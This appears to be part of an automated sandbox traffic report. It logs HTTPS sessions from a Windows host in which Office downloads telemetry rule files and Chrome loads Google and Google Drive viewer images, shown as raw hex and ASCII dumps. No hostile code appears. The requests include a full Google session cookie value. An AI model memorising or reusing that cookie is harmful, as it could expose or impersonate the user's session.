2024-11-26 07:55:22 UTC	656	IN	Data Raw: 32 38 39 0d 0a 29 5d 7d 27 0a 7b 22 70 61 67 65 73 22 3a 31 2c 22 6d 61 78 50 61 67 65 57 69 64 74 68 22 3a 33 32 30 30 2c 22 70 64 66 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 64 6f 63 2d 30 73 2d 32 63 2d 70 72 6f 64 2d 30 33 2d 61 70 70 73 2d 76 69 65 77 65 72 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 5c 2f 76 69 65 77 65 72 32 5c 2f 70 72 6f 64 2d 30 33 5c 2f 70 64 66 5c 2f 39 6a 6e 31 65 30 6a 63 62 34 76 75 68 6c 67 32 72 67 39 31 6a 31 72 6b 65 6c 39 33 37 37 35 75 5c 2f 62 6c 62 32 6c 66 61 66 64 39 34 6c 30 63 36 63 34 66 34 66 61 74 64 38 61 6e 6a 39 64 6e 72 6b 5c 2f 31 37 33 32 36 30 37 37 30 30 30 30 30 5c 2f 33 5c 2f 2a 5c 2f 41 50 7a 6e 7a 61 62 68 55 43 41 32 31 51 71 4e 57 67 5f 76 74 69 33 6d 58 61 30 52 48 4b 77 69 Data Ascii: 289)]}'{"pages":1,"maxPageWidth":3200,"pdf":"https:\/\/doc-0s-2c-prod-03-apps-viewer.googleusercontent.com\/viewer2\/prod-03\/pdf\/9jn1e0jcb4vuhlg2rg91j1rkel93775u\/blb2lfafd94l0c6c4f4fatd8anj9dnrk\/1732607700000\/3\/*\/APznzabhUCA21QqNWg_vti3mXa0RHKwi
2024-11-26 07:55:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:21 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:21 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 1fa1b817-401e-0067-5691-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075521Z-174f7845968swgbqhC1EWRmnb40000000v70000000008qvg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:22 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:21 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:22 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e52ede4a-001e-0017-0591-3f0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075522Z-174f7845968l4kp6hC1EWRe8840000000vg0000000000dqc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:22 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:21 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:22 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: be7987d0-001e-0034-1e91-3fdd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075522Z-174f78459685726chC1EWRsnbg0000000v4g0000000084vw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:22 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:22 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:22 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 6760f0bc-801e-002a-1f91-3f31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075522Z-174f78459688l8rvhC1EWRtzr000000007pg000000008uh8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:22 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:22 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:22 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 8dfbf447-101e-0028-0f8e-3f8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075522Z-174f78459685m244hC1EWRgp2c0000000uyg000000006s3r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:22 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49833	142.250.181.100	443	7872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:23 UTC	981	OUT	GET /images/branding/googlelogo/1x/googlelogo_color_150x54dp.png HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=LTxhHc0PjQcTxZZLtqLXNQrHqxp_vpKVgRjh85-rjGusZDRkSvTDKa29Kfdz2o30Dx55adZtKIwiDesqrH6maiaQl63rjhzMqKFmBkrHmtWjiRMgKMd-w9fKPyYwk2DRGsvrVYmNsfCVdj6vpGAQEX3MCVc1ONeG0fUkAbEC0i38ISTvx8qS1sRLL8PuQxI
2024-11-26 07:55:24 UTC	671	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Type: image/png Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 3170 Date: Tue, 26 Nov 2024 07:55:23 GMT Expires: Tue, 26 Nov 2024 07:55:23 GMT Cache-Control: private, max-age=31536000 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-26 07:55:24 UTC	719	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 36 08 06 00 00 00 25 1d 60 0c 00 00 0c 29 49 44 41 54 78 da ed 5d 0b 70 54 d5 19 3e 98 6c 00 1f 88 da 97 b5 82 62 ad 14 28 48 76 37 20 44 37 f7 6e 08 38 83 a2 a5 b4 56 ab a5 48 5f 82 52 3b 53 1f 68 59 60 77 13 28 b6 d5 2a b6 4e 5f 52 ab 22 30 60 a9 2d e6 41 a9 1d 7c b4 2a 4e c5 fa 60 b0 a8 80 ec 6e 02 84 7b ef 26 90 84 6c ff 6f e0 0e 3b 9b ff de bd 8f 84 61 9a f3 cd 9c d9 64 ef dd 24 e7 f0 9d ff f1 fd ff b9 08 09 09 09 89 fe 89 e9 b1 dc e9 4a 9d 31 ae 2a 91 9d a1 d4 1a 37 2b 09 63 8e 9a d4 6f a0 a1 54 2f cf 7e 56 e4 72 03 84 84 84 13 44 eb da 47 a8 49 63 11 91 e7 e5 aa b8 d6 45 5f e7 ac 46 55 52 db a3 26 f4 df 55 25 8c a9 b1 58 ee 34 21 21 51 88 48 22 3b 91 c8 f4 1c 08 e3 65 28 49 63 07 Data Ascii: PNGIHDR6%`)IDATx]pT>lb(Hv7 D7n8VH_R;ShY`w(N_R"0`-A\|N`n{&lo;ad$J1*7+coT/~VrDGIcE_FUR&U%X4!!QH";e(Ic
2024-11-26 07:55:24 UTC	1390	IN	Data Raw: df d8 08 c8 2f 44 6b db ae 38 9e 54 fd 99 be 7f 2b 7f f8 25 56 73 34 14 ce 44 43 1b 52 d1 60 a7 f5 5a 06 df c2 e6 05 c1 bc 0a a2 1f 30 13 5b 29 4e 21 a4 ab 83 95 19 25 fc 3e 26 ec 62 ec 24 92 4d 12 0e d1 d1 50 1a 21 c2 fc 97 21 92 1d c1 de 27 4b 76 a5 e3 b5 4e 64 af a1 b5 6d 76 52 fa 3a 96 4c e9 0b e8 eb 77 0b af 79 25 d6 8e 69 9f 1f 48 eb f2 b0 bb 75 0c d5 ef 89 86 cf 73 dd 53 65 31 b1 5b c5 29 02 22 c7 cd 29 25 d8 85 49 ba 1d d8 91 f8 bc 28 82 23 4d 81 d9 34 ba 40 16 b7 03 9f 23 17 f9 cd e2 1b 58 9f e7 84 50 3c c1 fc 13 6b df 94 b1 67 a4 95 f0 16 4f eb a8 86 df 49 a9 13 3e 2d 9c 02 a2 27 1f 5f e9 51 e1 12 54 ea 79 0f 3d 5a 9e 47 52 7b 5d 14 80 26 74 7d 2a 1a ee c6 e4 bc 8e 94 12 3e 4a 04 9b 21 2c d0 d9 58 36 f3 48 43 a0 1b 24 f1 3a 8e 7d be ec 7a bb da Data Ascii: /Dk8T+%Vs4DCR`Z0[)N!%>&b$MP!!'KvNdmvR:Lwy%iHusSe1[)")%I(#M4@#XP<kgOI>-'_QTy=ZGR{]&t}*>J!,X6HC$:}z
2024-11-26 07:55:24 UTC	1061	IN	Data Raw: ab 50 1a 37 9a 50 9e f0 62 0d d1 67 44 a4 6d b3 e8 52 9d 27 0a 80 0c 90 57 cf 83 f3 85 03 40 9a e0 3e 0f 51 30 cf 8d 8d 03 11 18 1d ea 36 e1 00 74 df 9d 6c 69 a7 3e 30 e6 84 85 36 ca 2d d6 73 a1 28 82 e0 63 b9 00 e9 89 af f4 89 40 0a 0f a0 56 28 a2 38 b0 c9 6f 43 dc d5 5c 13 1c e9 cf 25 26 8c 47 6d ca 2e 59 22 c2 4f 6a e2 6d 17 8a 22 40 f0 8a 62 36 7a 8b ac 7f 9e be d1 aa ac 01 cd 89 31 dd 5d e8 11 2a a2 5f cd c6 7d 4c 91 f5 2f 8c 5c d0 c8 65 75 d4 ad 60 2b 09 a0 9b 81 eb 86 a0 f7 36 89 02 70 f3 c7 b9 4d 25 ae 7f dd f6 54 53 42 fb 83 df 92 8e 29 2b c0 42 31 e4 6a a6 8e 85 b1 c2 06 a8 bf a2 62 61 66 d4 10 4f 1d 5a 2f 9e 10 78 4a 4c d1 56 8e b8 b1 15 19 0b 74 19 f4 c6 a3 be 88 7e 23 fa ec 7c 94 2c 68 61 76 db fd 0c ec c6 48 2c 6d 29 b4 c1 6a 99 b2 03 33 d6 Data Ascii: P7PbgDmR'W@>Q06tli>06-s(c@V(8oC\%&Gm.Y"Ojm"@b6z1]*_}L/\eu`+6pM%TSB)+B1jbafOZ/xJLVt~#\|,havH,m)j3

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:23 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:24 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: cb9203b6-501e-0029-2691-3fd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075524Z-174f7845968swgbqhC1EWRmnb40000000v6000000000b6da x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:24 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:24 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:24 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: fac49ef3-501e-008f-0a91-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075524Z-174f784596886s2bhC1EWR743w0000000v80000000002men x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:24 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49839	172.217.19.174	443	7872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:24 UTC	1368	OUT	GET /viewer2/prod-03/img?ck=drive&ds=APznzabhUCA21QqNWg_vti3mXa0RHKwiqxlOJ-aeL9dvQ66ql45Dfr9b_h9LyRggyfCxDVZWlvHN0LvAdyV870z8z6I5WG46cl-9Phq5i9Qtwd7eTdRRxjjBcHVYQXMLWe622eABf1QTH3-8V3c85OJ6JKcZKl3plhvfJlrgnpGAYMj1m4Ln_9Uz6jWrQTaBnrhPi5-vkx1I-DVJ4a_dCYkj9nc_6ly1bIZ_BFmwyH9AC6ra1p8_Lan_7cZ4nBd4fw0GncIFh45qlEW-UCM2-9CyVxWmw-o76zdcElStxTJeyNZ3hHefOT_eYD6qRTkUtdSfODWyUF3Hr7U11PgdzDqIWFqNCNErd_7MDFkhbQfyzSLNoNz0Yq22Tp0yYiK974t8MbgIPCsRe0Ffyo-xlPjQEg78AsiIAg%3D%3D&authuser=0&page=0&skiphighlight=true&w=800&webp=true HTTP/1.1 Host: drive.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=LTxhHc0PjQcTxZZLtqLXNQrHqxp_vpKVgRjh85-rjGusZDRkSvTDKa29Kfdz2o30Dx55adZtKIwiDesqrH6maiaQl63rjhzMqKFmBkrHmtWjiRMgKMd-w9fKPyYwk2DRGsvrVYmNsfCVdj6vpGAQEX3MCVc1ONeG0fUkAbEC0i38ISTvx8qS1sRLL8PuQxI
2024-11-26 07:55:25 UTC	2048	IN	HTTP/1.1 200 OK Content-Type: image/png Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 26 Nov 2024 07:55:24 GMT Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-q9eVtlA-LkaN9AUtXhKKyw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AppsViewerFrontendHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AppsViewerFrontendHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AppsViewerFrontendHttp/cspreport Cross-Origin-Opener-Policy: same-origin Report-To: {"group":"AppsViewerFrontendHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AppsViewerFrontendHttp"}]} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Embedder-Policy-Report-Only: require-corp; 